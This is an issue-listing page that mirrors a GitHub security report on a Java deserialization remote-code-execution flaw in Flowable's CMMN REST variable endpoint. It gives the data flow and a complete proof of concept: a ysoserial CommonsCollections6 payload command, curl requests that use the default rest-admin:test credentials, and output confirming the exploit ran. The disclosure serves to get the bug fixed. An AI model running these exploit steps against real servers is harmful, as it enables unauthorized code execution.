Hacktoberfest 2026: những issue maintainer đã đánh dấu cho tháng Mười, đang mở và phù hợp người mới. Xem issue Hacktoberfest

[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)

Đang mở
#4,280 2 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Đánh giá

Độ khó
4/5
Thời gian dự kiến
3-5 ngày
Mức phù hợp với người mới
30/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
java
Lĩnh vực
security

Hướng nghiên cứu

The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE

Summary

The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).

Affected Version & Commit

Vulnerability Description

Trigger Location

file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367

// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
  (Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
    ↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
  PlanItemInstanceVariableCollectionResource.java:70-74
  Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
    ↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
  BaseVariableResource.java:188-191
    ↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
  BaseVariableResource.java:193-264
  Detects request instanceof MultipartHttpServletRequest → true
  Calls setBinaryVariable()
    ↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
  BaseVariableResource.java:303-391
  Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
    ↓
ObjectInputStream.readObject()  ← SINK
  BaseVariableResource.java:365-366
  Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)

BaseVariableResource.java:67:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Defaults to true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

  • POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables (port 8080)

Exploitation Conditions

Condition Description
Authentication Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account)
Network reachability Internal network/public (HTTP reachable REST port 8080)
Configuration dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed
Other prerequisites At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar

Proof of Concept

# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"

# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.text=ALL-UNNAMED \
     --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
     --add-opens java.base/java.util.concurrent=ALL-UNNAMED \
     --add-opens java.base/java.net=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "touch /tmp/pwned_0405" > payload.ser

# 3. Send payload to target plan item instance
curl -X POST \
  -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
  -F "name=exploit" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "[email protected]"

Actual execution results:

Payload send request returns HTTP 201 Created:

{
  "name": "CommonsCollections6",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
  "scope": "local"
}

RCE execution result confirmation:

$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug  4 12:22 /tmp/pwned_0405

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Notes
Entry PlanItemInstanceVariableCollectionResource.java:70 ✅ Connected HTTP POST multipart request reached CMMN REST endpoint
Existence validation BaseVariableResource.java:70-75 ✅ Connected planItemInstanceId validated via parameterized query
Multipart detection BaseVariableResource.java:193 ✅ Connected request instanceof MultipartHttpServletRequest = true
Type branch BaseVariableResource.java:363 ✅ Connected type=serializable → isSerializableVariableAllowed=true (default)
Sink BaseVariableResource.java:365-366 ✅ Triggered ObjectInputStream.readObject() executes deserialization, triggers CC6 chain
RCE result System filesystem ✅ Success Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success

Impact

  1. Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via ObjectInputStream.readObject()
  2. RCE confirmed: The touch /tmp/pwned_0405 command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)
  3. HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
  4. No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly

Severity

CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
Ngôn ngữ chính
Java
Star
9.6k
Fork
2.9k
Merge trung bình
1 giờ 9 phút
Pull request đã merge (30 ngày)
2

Chuẩn bị môi trường

  • Không có Dockerfile hay tệp Docker Compose
  • Có mẫu pull request
  • Không có hướng dẫn đóng góp

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của flowable/flowable-engine

Tất cả issue của flowable/flowable-engine

Issue tương tự

Thêm issue về Java

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.